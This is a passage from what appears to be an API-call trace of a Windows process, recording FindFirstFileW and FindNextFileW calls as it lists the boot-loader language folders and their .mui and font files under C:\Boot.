ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="segmono_boot.ttf", cAlternateFileName="SEGMON~1.TTF")) returned 1 [0052.958] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c0da69, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef97d9ab, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x14f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="segoen_slboot.ttf", cAlternateFileName="SEGOEN~1.TTF")) returned 1 [0052.958] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef98c419, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x150a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="segoe_slboot.ttf", cAlternateFileName="SEGOE_~1.TTF")) returned 1 [0052.958] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0052.958] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0052.958] FindClose (in: hFindFile=0x4260500 | out: hFindFile=0x4260500) returned 1 [0052.959] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0052.959] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0052.959] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-CA\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42600c0 [0052.959] FindNextFileW (in: hFindFile=0x42600c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.959] FindNextFileW (in: hFindFile=0x42600c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.959] FindNextFileW (in: hFindFile=0x42600c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0052.959] FindClose (in: hFindFile=0x42600c0 | out: hFindFile=0x42600c0) returned 1 [0052.959] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0052.960] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0052.960] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260440 [0052.960] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.960] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13558, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.960] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0052.960] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0052.960] FindClose (in: hFindFile=0x4260440 | out: hFindFile=0x4260440) returned 1 [0052.960] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0052.960] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0052.960] FindFirstFileW (in: lpFileName="C:\\Boot\\hr-HR\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260300 [0052.960] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.960] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.960] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0052.960] FindClose (in: hFindFile=0x4260300 | out: hFindFile=0x4260300) returned 1 [0052.960] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0052.960] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0052.960] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42607c0 [0052.961] FindNextFileW (in: hFindFile=0x42607c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.961] FindNextFileW (in: hFindFile=0x42607c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13360, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.961] FindNextFileW (in: hFindFile=0x42607c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0052.961] FindNextFileW (in: hFindFile=0x42607c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0052.961] FindClose (in: hFindFile=0x42607c0 | out: hFindFile=0x42607c0) returned 1 [0052.961] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0052.961] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="it-IT", cAlternateFileName="")) returned 1 [0052.961] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260500 [0052.961] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.961] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.961] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0052.961] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0052.961] FindClose (in: hFindFile=0x4260500 | out: hFindFile=0x4260500) returned 1 [0052.961] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0052.961] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0052.961] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260440 [0052.962] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.962] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48c6596, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.962] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0052.962] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0052.962] FindClose (in: hFindFile=0x4260440 | out: hFindFile=0x4260440) returned 1 [0052.962] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0052.962] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0052.962] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42607c0 [0052.962] FindNextFileW (in: hFindFile=0x42607c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.962] FindNextFileW (in: hFindFile=0x42607c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211c6af1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.962] FindNextFileW (in: hFindFile=0x42607c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fdc0d7, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa7a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0052.962] FindNextFileW (in: hFindFile=0x42607c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fdc0d7, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, 